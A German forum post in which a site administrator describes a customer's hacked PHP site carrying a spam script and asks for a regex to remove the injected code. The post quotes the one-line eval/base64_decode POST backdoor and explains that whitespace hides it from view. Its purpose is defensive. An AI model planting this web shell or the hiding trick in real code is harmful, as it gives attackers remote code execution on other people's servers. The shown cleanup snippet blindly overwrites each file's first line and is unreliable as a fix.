Nach langen wieder mal ein Fall, wo ein Kunde gehackt wurde und ein Spamscript installiert wurde.
Das Script wird unter anderem mit folgendem Code aufgerufen:
PHP-Code:
<?php eval(base64_decode($_POST['irgendeinestringcombi']));?>
Und ja, die Leerzeichen sind deshalb da, weil damit der Befehl einfach aus dem Sichtbereich des Editors geschoben wird. (guter Trick, weil vermutlich der String nicht so leicht entdeckt wird.)
Mit der Stringcombi (kann unterschiedlich sein) wird dann der eigentliche Code eingeschleust.
Jetzt sind etliche Dateien modifiziert und ich suche eine einfache Möglichkeit, diesen php-Teil zu suchen und mit "" zu ersetzen.
Ein Script zum suchen habe ich, jetzt brauche ich aber nur einen Regex-Befehl, diesen Teil incl der <? klammern zu löschen.
Mit der vollen Zeile hätte ich es schon probiert, leider Fehlgeschlagen, weil es ja Dateien gibt, wo der eigentliche Code hinter dem ?> wieder anfängt und auch gelöscht wird...
Ev hat jemand auf die Schnelle eine Idee.....
PHP-Code:
echo 'Clear File: ';
$zeilen = file($c);
$zeilen[0]= '<?php';
$handle = fopen($dir.'/'.$c, 'wb');
fwrite($handle, implode('', $zeilen));
fclose($handle);